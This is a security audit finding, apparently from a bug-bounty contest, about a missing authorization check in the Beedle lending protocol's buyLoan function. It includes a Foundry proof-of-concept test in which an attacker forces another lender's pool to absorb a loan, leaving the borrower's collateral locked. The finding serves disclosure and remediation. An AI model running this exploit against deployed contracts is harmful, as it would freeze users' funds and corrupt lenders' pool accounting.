Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`Lender.buyLoan` allow unauthorized user to force a not-owned pool to buy a loan

stermi

Summary

The Lender.buyLoan functions does not check if the msg.sender is the owner of the pool identified by poolId.

Because of this, an attacker without any pool can buy a loan on behalf of a lender without the lender's authorization.

The loan will be accounted by the pool.lender (pool.poolBalance will be reduced and pool.outstandingLoans will be increased) but the loan.lender will be updated to msg.sender.

The following problems will arise:

  1. Borrower cannot repay it because the new Loan pool does not exist. loanPoolId = (attackerAddress, loanTokenAddress, collateralToken) → underflow

  2. Borrower cannot refinance it because the oldPoolId used by refinance does not exist (see above) and will underflow

  3. Loan cannot be auctioned because now the owner of the Loan is the attacker

  4. NewLender pool has been accounted for a loan that won't be ever repaid. His lenderPool.poolBalance and lenderPool.outstandingLoans has been accounted for a loan that has not been "really" taken by such pool, so all the functions that rely on those accounting variables at some point will revert because of an underflow error

Vulnerability Details

The current implementation of Lender.buyLoan allows anyone to call msg.sender without checking if the pool identified by poolId is indeed owned by msg.sender.

The function also does not check that pools[poolId] uses the same lendingToken and collateralToken used by pools[loanPoolId]. These issues and the consequences will be described in another report.

Because the msg.sender is not checked, this allows an attacker to call buyLoan(auctionedLoanId, existingPoolId) and "force" the owner of existingPoolId to purchase the pool without the existingPoolId owner authorization.

Already this miss authorization issue would be problematic because only the pool owner should be able to purchase a loan. In addition to this problem, the function at the very end executes the following operation: loans[loanId].lender = msg.sender. By doing that, it sets the lender of the Loan to msg.sender that is not the owner of the pool to which the loan has been already accounted for.

To recap:

  • msg.sender can force another pool owner to purchase the loan without authorization

  • the newPool is accounted for the loan purchased

    • newPool.poolBalance is reduced by loan.debt, lenderInterest and protocolInterest

    • newPool.outstandingLoans is increased by loan.debt, lenderInterest and protocolInterest

  • msg.sender is set as loan.lender instead of newPool.lender

The result is that

  1. Borrower cannot repay it because the new Loan pool does not exist. loanPoolId = (attackerAddress, loanTokenAddress, collateralToken) → underflow

  2. Borrower cannot refinance it because the oldPoolId used by refinance does not exist (see above) and will underflow

  3. Loan cannot be auctioned because now the owner of the Loan is the attacker

  4. NewLender pool has been accounted for a loan that won't be ever repaid. His lenderPool.poolBalance and lenderPool.outstandingLoans has been accounted for a loan that has not been "really" taken by such pool, so all the functions that rely on those accounting variables at some point will revert because of an underflow error

Impact

  1. Borrower cannot repay it because the new Loan pool does not exist. loanPoolId = (attackerAddress, loanTokenAddress, collateralToken) → underflow

  2. Borrower cannot refinance it because the oldPoolId used by refinance does not exist (see above) and will underflow

  3. Loan cannot be auctioned because now the owner of the Loan is the attacker

  4. NewLender pool has been accounted for a loan that won't be ever repaid. His lenderPool.poolBalance and lenderPool.outstandingLoans has been accounted for a loan that has not been "really" taken by such pool, so all the functions that rely on those accounting variables at some point will revert because of an underflow error

Tools Used

Manual + foundry test

BaseLender.sol utility contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import "forge-std/Test.sol";
import "../src/Lender.sol";
​
import {ERC20} from "solady/src/tokens/ERC20.sol";
​
contract TERC20 is ERC20 {
​
function name() public pure override returns (string memory) {
return "Test ERC20";
}
​
function symbol() public pure override returns (string memory) {
return "TERC20";
}
​
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
​
contract WrappedLender is Lender {
function getLoanDebtDetail(uint256 loanId) external view returns (uint256 fullDebt, uint256 interest, uint256 fees) {
Loan memory loan = loans[loanId];
// calculate the accrued interest
(interest, fees) = _calculateInterest(loan);
fullDebt = loan.debt + interest + fees;
}
​
function getPoolInfo(bytes32 poolId) external view returns (Pool memory) {
return pools[poolId];
}
​
function getLoanInfo(uint256 loanId) external view returns (Loan memory) {
return loans[loanId];
}
}
​
contract BaseLender is Test {
WrappedLender public lender;
​
TERC20 public loanToken;
TERC20 public collateralToken;
​
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
​
function setUp() public virtual {
lender = new WrappedLender();
loanToken = new TERC20();
collateralToken = new TERC20();
​
loanToken.mint(address(lender1), 100000 ether);
loanToken.mint(address(lender2), 100000 ether);
collateralToken.mint(address(borrower), 100000 ether);
​
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
​
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
​
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
}
​
function borrow(address _borrower, bytes32 poolId) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 ether,
collateral: 100 ether
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
}
​
function createPool(address _lender) public returns (bytes32){
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
​
return poolId;
}
​
function startAuction(address _lender, uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
​
vm.prank(_lender);
lender.startAuction(loans);
}
​
function seizeLoan(uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
lender.seizeLoan(loans);
}
​
function getPoolId(address _lender) public returns (bytes32) {
return keccak256(
abi.encode(
address(_lender),
address(loanToken),
address(collateralToken)
)
);
}
}

AttackerBuyLoanOnBehalfOfLender.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import "./BaseLender.sol";
​
contract AttackerBuyLoanOnBehalfOfLenderTest is BaseLender {
​
function setUp() override public {
super.setUp();
}
​
function testAttackerChangeLoanLenderViaBuyLoan() public {
// a malicius actor buy a loan by specifying a GOOD pool but the code set the loan.lender = msg.sender
// without checking if the newPool.lender is indeed the msg.sender
// In this specific scenario `msg.sender` does not own the pool (msg.sender, loan.coll, loan.debt) and because of this
// the borrower will not be able to repay or refinance the laon because of underflow errors
​
// consequences ->
// 1) borrower won't be able to get their collateral back (can't repay/refinance/and so on)
// 2) new lender (the one from newPoolId) -> will not be able to get back his capital back because
// the borrower cannot repay that capital (and anyway would go to the fakeLender if possible)
​
// Lender1 create a pool with 1000 ether of LendingToken
bytes32 pool1 = createPool(lender1);
​
// Lender2 create a pool with 1000 ether of LendingToken
bytes32 pool2 = createPool(lender2);
​
// Borrower borrow 100 ether of LendingToken from pool1 (Lender1), providing 100 ether of CollateralToken as collateral
borrow(borrower, pool1);
​
uint256 loanId = 0;
​
// warp some time and accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// Lender1 decide to ditch the loan and start an auction
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
​
vm.prank(lender1);
lender.startAuction(loanIds);
​
// Warp in the middle of the action to be able to buy the loan
vm.warp(block.timestamp + 12 hours);
​
// An attacker decide to disrupt the platform by "forcing" Lender2 to buy the laon without any approval from Lender2
// After the buy loan the Lender1 and Lender2 pool accounting is updated but the loan is given to the pool (attackerAddress, loanTokenAddress, collateralToken)
// Because of `loans[loanId].lender = msg.sender` execution
Pool memory p2Before = lender.getPoolInfo(pool2);
Loan memory loanBefore = lender.getLoanInfo(loanId);
​
address attacker = makeAddr("attacker");
vm.prank(attacker);
lender.buyLoan(loanId, pool2);
​
Pool memory p2After = lender.getPoolInfo(pool2);
Loan memory loanAfter = lender.getLoanInfo(loanId);
​
// At this point this loan is "locked"
// 1) Borrower cannot repay it because the new Loan pool does not exist. loanPoolId = (attackerAddress, loanTokenAddress, collateralToken) -> underflow
// 2) Borrower cannot refinance it because the `oldPoolId` used by `refinance` does not exist (see above) and will underflow
// 3) Loan cannot be auctioned because now the owner of the Loan is the attacker
// 4) Lender2 pool has been accounted for a loan that won't be ever repaid. His `lender2Pool.poolBalance` and `lender2Pool.outstandingLoans` has been accounted
// for a loan that has not been "really" taken by such pool so all the function that rely about those accounting variables
// at some point will revert for an underflow error
​
// Assert that the loan lender is not lender2 but the attacker
assertEq(loanBefore.lender, lender1);
assertEq(loanAfter.lender, attacker);
​
// Assert that the pool2 poolBalance has been reduced and outstadingLoans has been increased absorbing the Loan without owning it
assertLt(p2After.poolBalance, p2Before.poolBalance);
assertGt(p2After.outstandingLoans, p2Before.outstandingLoans);
​
// Assert that the poolId "attached" to the Loan does not exist
bytes32 newLoanPoolId = lender.getPoolId(loanAfter.lender, loanAfter.loanToken, loanAfter.collateralToken);
Pool memory attackerPoolInfo = lender.getPoolInfo(newLoanPoolId);
assertEq(attackerPoolInfo.lender, address(0));
​
​
// 1) Loan cannot be repaid by Borrower
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
​
vm.prank(borrower);
// Revert because of underflow
vm.expectRevert(stdError.arithmeticError);
lender.repay(loans);
​
​
// 2) Loan cannot be refinanced by Borrower
Refinance memory r = Refinance({
loanId: loanId,
poolId: pool1,
debt: 100 ether,
collateral: 100 ether
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
​
​
vm.prank(borrower);
// Revert because of underflow
vm.expectRevert(stdError.arithmeticError);
lender.refinance(rs);
​
// 3) Loan cannot be auctioned by Lender2
vm.prank(lender2);
vm.expectRevert(Unauthorized.selector);
lender.startAuction(loanIds);
}
}

Recommendations

The buyLoan function should

  • Check that msg.sender is the owner of the pool identified by poolId

  • Check that the new pool uses the same lendingPool and collateralPool of the pool that currently owning the loan (this issue will be described in another report)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!